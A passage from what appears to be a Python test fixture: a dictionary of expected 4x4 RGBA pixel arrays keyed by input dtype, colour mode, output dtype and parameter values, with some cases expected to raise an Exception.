[[0, 0, 0, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "2D", None, np.uint8, 13333, True): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "2D", None, np.uint8, 13333, False): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "2D", None, np.uint16, None, True): np.array(
[
[[0, 0, 0, 255], [255, 255, 255, 255], [255, 255, 255, 255], [0, 0, 0, 255]],
[[255, 255, 255, 255], [0, 0, 0, 255], [0, 0, 0, 255], [255, 255, 255, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [255, 255, 255, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
],
dtype=np.uint8,
),
(np.uint16, "2D", None, np.uint16, None, False): np.array(
[
[[0, 0, 0, 255], [255, 255, 255, 255], [255, 255, 255, 255], [0, 0, 0, 255]],
[[255, 255, 255, 255], [0, 0, 0, 255], [0, 0, 0, 255], [255, 255, 255, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [255, 255, 255, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
],
dtype=np.uint8,
),
(np.uint16, "2D", None, np.uint16, 232, True): np.array(
[
[[0, 0, 0, 255], [0, 0, 0, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[0, 0, 0, 255], [255, 255, 255, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
],
dtype=np.uint8,
),
(np.uint16, "2D", None, np.uint16, 232, False): np.array(
[
[[0, 0, 0, 255], [0, 0, 0, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[0, 0, 0, 255], [255, 255, 255, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
],
dtype=np.uint8,
),
(np.uint16, "2D", None, np.uint16, 13333, True): np.array(
[
[[255, 255, 255, 255], [0, 0, 0, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [0, 0, 0, 255], [0, 0, 0, 255], [255, 255, 255, 255]],
[[0, 0, 0, 255], [255, 255, 255, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[255, 255, 255, 255], [0, 0, 0, 255], [0, 0, 0, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "2D", None, np.uint16, 13333, False): np.array(
[
[[255, 255, 255, 255], [0, 0, 0, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [0, 0, 0, 255], [0, 0, 0, 255], [255, 255, 255, 255]],
[[0, 0, 0, 255], [255, 255, 255, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[255, 255, 255, 255], [0, 0, 0, 255], [0, 0, 0, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "2D", "SIMPLE", None, None, True): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [0, 0, 0, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "2D", "SIMPLE", None, None, False): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [0, 0, 0, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "2D", "SIMPLE", None, 232, True): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [0, 0, 0, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "2D", "SIMPLE", None, 232, False): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [0, 0, 0, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "2D", "SIMPLE", None, 13333, True): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [0, 0, 0, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "2D", "SIMPLE", None, 13333, False): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [0, 0, 0, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "2D", "SIMPLE", np.uint8, None, True): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "2D", "SIMPLE", np.uint8, None, False): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "2D", "SIMPLE", np.uint8, 232, True): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "2D", "SIMPLE", np.uint8, 232, False): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "2D", "SIMPLE", np.uint8, 13333, True): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "2D", "SIMPLE", np.uint8, 13333, False): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "2D", "SIMPLE", np.uint16, None, True): np.array(
[
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [255, 255, 255, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
],
dtype=np.uint8,
),
(np.uint16, "2D", "SIMPLE", np.uint16, None, False): np.array(
[
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [255, 255, 255, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
],
dtype=np.uint8,
),
(np.uint16, "2D", "SIMPLE", np.uint16, 232, True): np.array(
[
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [255, 255, 255, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
],
dtype=np.uint8,
),
(np.uint16, "2D", "SIMPLE", np.uint16, 232, False): np.array(
[
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [255, 255, 255, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
],
dtype=np.uint8,
),
(np.uint16, "2D", "SIMPLE", np.uint16, 13333, True): np.array(
[
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [255, 255, 255, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
],
dtype=np.uint8,
),
(np.uint16, "2D", "SIMPLE", np.uint16, 13333, False): np.array(
[
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [255, 255, 255, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
],
dtype=np.uint8,
),
(np.uint16, "2D", "RGB", None, None, True): Exception,
(np.uint16, "2D", "RGB", None, None, False): Exception,
(np.uint16, "2D", "RGB", None, 232, True): Exception,
(np.uint16, "2D", "RGB", None, 232, False): Exception,
(np.uint16, "2D", "RGB", None, 13333, True): Exception,
(np.uint16, "2D", "RGB", None, 13333, False): Exception,
(np.uint16, "2D", "RGB", np.uint8, None, True): Exception,
(np.uint16, "2D", "RGB", np.uint8, None, False): Exception,
(np.uint16, "2D", "RGB", np.uint8, 232, True): Exception,
(np.uint16, "2D", "RGB", np.uint8, 232, False): Exception,
(np.uint16, "2D", "RGB", np.uint8, 13333, True): Exception,
(np.uint16, "2D", "RGB", np.uint8, 13333, False): Exception,
(np.uint16, "2D", "RGB", np.uint16, None, True): Exception,
(np.uint16, "2D", "RGB", np.uint16, None, False): Exception,
(np.uint16, "2D", "RGB", np.uint16, 232, True): Exception,
(np.uint16, "2D", "RGB", np.uint16, 232, False): Exception,
(np.uint16, "2D", "RGB", np.uint16, 13333, True): Exception,
(np.uint16, "2D", "RGB", np.uint16, 13333, False): Exception,
(np.uint16, "2D", "RGBA", None, None, True): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [0, 0, 0, 255]],
[[231, 231, 231, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "2D", "RGBA", None, None, False): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [0, 0, 0, 255]],
[[231, 231, 231, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "2D", "RGBA", None, 232, True): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [0, 0, 0, 255]],
[[210, 210, 210, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "2D", "RGBA", None, 232, False): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [0, 0, 0, 255]],
[[210, 210, 210, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "2D", "RGBA", None, 13333, True): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [0, 0, 0, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "2D", "RGBA", None, 13333, False): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [0, 0, 0, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "2D", "RGBA", np.uint8, None, True): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[0, 0, 0, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "2D", "RGBA", np.uint8, None, False): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[0, 0, 0, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "2D", "RGBA", np.uint8, 232, True): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "2D", "RGBA", np.uint8, 232, False): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "2D", "RGBA", np.uint8, 13333, True): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "2D", "RGBA", np.uint8, 13333, False): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "2D", "RGBA", np.uint16, None, True): np.array(
[
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [255, 255, 255, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
],
dtype=np.uint8,
),
(np.uint16, "2D", "RGBA", np.uint16, None, False): np.array(
[
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [255, 255, 255, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
],
dtype=np.uint8,
),
(np.uint16, "2D", "RGBA", np.uint16, 232, True): np.array(
[
[[0, 0, 0, 255], [255, 255, 255, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [0, 0, 0, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
],
dtype=np.uint8,
),
(np.uint16, "2D", "RGBA", np.uint16, 232, False): np.array(
[
[[0, 0, 0, 255], [255, 255, 255, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [0, 0, 0, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
],
dtype=np.uint8,
),
(np.uint16, "2D", "RGBA", np.uint16, 13333, True): np.array(
[
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
],
dtype=np.uint8,
),
(np.uint16, "2D", "RGBA", np.uint16, 13333, False): np.array(
[
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
],
dtype=np.uint8,
),
(np.uint16, "RGB", None, None, None, True): np.array(
[
[[216, 176, 0, 255], [75, 152, 141, 255], [129, 33, 221, 255], [146, 121, 149, 255]],
[[229, 63, 143, 255], [38, 93, 48, 255], [64, 185, 70, 255], [66, 152, 233, 255]],
[[170, 192, 38, 255], [139, 15, 154, 255], [208, 226, 113, 255], [208, 15, 137, 255]],
[[62, 84, 176, 255], [255, 183, 202, 255], [24, 134, 77, 255], [168, 145, 136, 255]],
],
dtype=np.uint8,
),
(np.uint16, "RGB", None, None, None, False): np.array(
[
[[0, 176, 216, 255], [141, 152, 75, 255], [221, 33, 129, 255], [149, 121, 146, 255]],
[[143, 63, 229, 255], [48, 93, 38, 255], [70, 185, 64, 255], [233, 152, 66, 255]],
[[38, 192, 170, 255], [154, 15, 139, 255], [113, 226, 208, 255], [137, 15, 208, 255]],
[[176, 84, 62, 255], [202, 183, 255, 255], [77, 134, 24, 255], [136, 145, 168, 255]],
],
dtype=np.uint8,
),
(np.uint16, "RGB", None, None, 232, True): np.array(
[
[[196, 160, 0, 255], [68, 138, 128, 255], [117, 30, 201, 255], [133, 110, 135, 255]],
[[208, 58, 130, 255], [35, 84, 43, 255], [58, 168, 64, 255], [60, 139, 212, 255]],
[[154, 175, 34, 255], [127, 13, 140, 255], [189, 205, 103, 255], [189, 14, 124, 255]],
[[56, 76, 160, 255], [232, 166, 184, 255], [22, 122, 70, 255], [153, 132, 124, 255]],
],
dtype=np.uint8,
),
(np.uint16, "RGB", None, None, 232, False): np.array(
[
[[0, 160, 196, 255], [128, 138, 68, 255], [201, 30, 117, 255], [135, 110, 133, 255]],
[[130, 58, 208, 255], [43, 84, 35, 255], [64, 168, 58, 255], [212, 139, 60, 255]],
[[34, 175, 154, 255], [140, 13, 127, 255], [103, 205, 189, 255], [124, 14, 189, 255]],
[[160, 76, 56, 255], [184, 166, 232, 255], [70, 122, 22, 255], [124, 132, 153, 255]],
],
dtype=np.uint8,
),
(np.uint16, "RGB", None, None, 13333, True): np.array(
[
[[255, 255, 0, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "RGB", None, None, 13333, False): np.array(
[
[[0, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "RGB", None, np.uint8, None, True): np.array(
[
[[255, 255, 255, 255], [0, 255, 0, 255], [0, 0, 0, 255], [255, 0, 0, 255]],
[[0, 0, 0, 255], [255, 0, 255, 255], [255, 0, 255, 255], [255, 255, 0, 255]],
[[255, 255, 255, 255], [0, 0, 255, 255], [255, 255, 0, 255], [255, 0, 0, 255]],
[[255, 255, 255, 255], [255, 0, 255, 255], [255, 255, 0, 255], [255, 0, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "RGB", None, np.uint8, None, False): np.array(
[
[[255, 255, 255, 255], [0, 255, 0, 255], [0, 0, 0, 255], [0, 0, 255, 255]],
[[0, 0, 0, 255], [255, 0, 255, 255], [255, 0, 255, 255], [0, 255, 255, 255]],
[[255, 255, 255, 255], [255, 0, 0, 255], [0, 255, 255, 255], [0, 0, 255, 255]],
[[255, 255, 255, 255], [255, 0, 255, 255], [0, 255, 255, 255], [255, 0, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "RGB", None, np.uint8, 232, True): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [0, 255, 0, 255], [0, 255, 0, 255]],
[[255, 255, 255, 255], [0, 255, 0, 255], [255, 255, 255, 255], [255, 0, 255, 255]],
[[255, 0, 255, 255], [0, 0, 255, 255], [0, 0, 0, 255], [0, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [0, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "RGB", None, np.uint8, 232, False): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [0, 255, 0, 255], [0, 255, 0, 255]],
[[255, 255, 255, 255], [0, 255, 0, 255], [255, 255, 255, 255], [255, 0, 255, 255]],
[[255, 0, 255, 255], [255, 0, 0, 255], [0, 0, 0, 255], [255, 255, 0, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 0, 255]],
],
dtype=np.uint8,
),
(np.uint16, "RGB", None, np.uint8, 13333, True): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "RGB", None, np.uint8, 13333, False): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "RGB", None, np.uint16, None, True): np.array(
[
[[255, 0, 255, 255], [0, 0, 0, 255], [255, 255, 255, 255], [0, 255, 255, 255]],
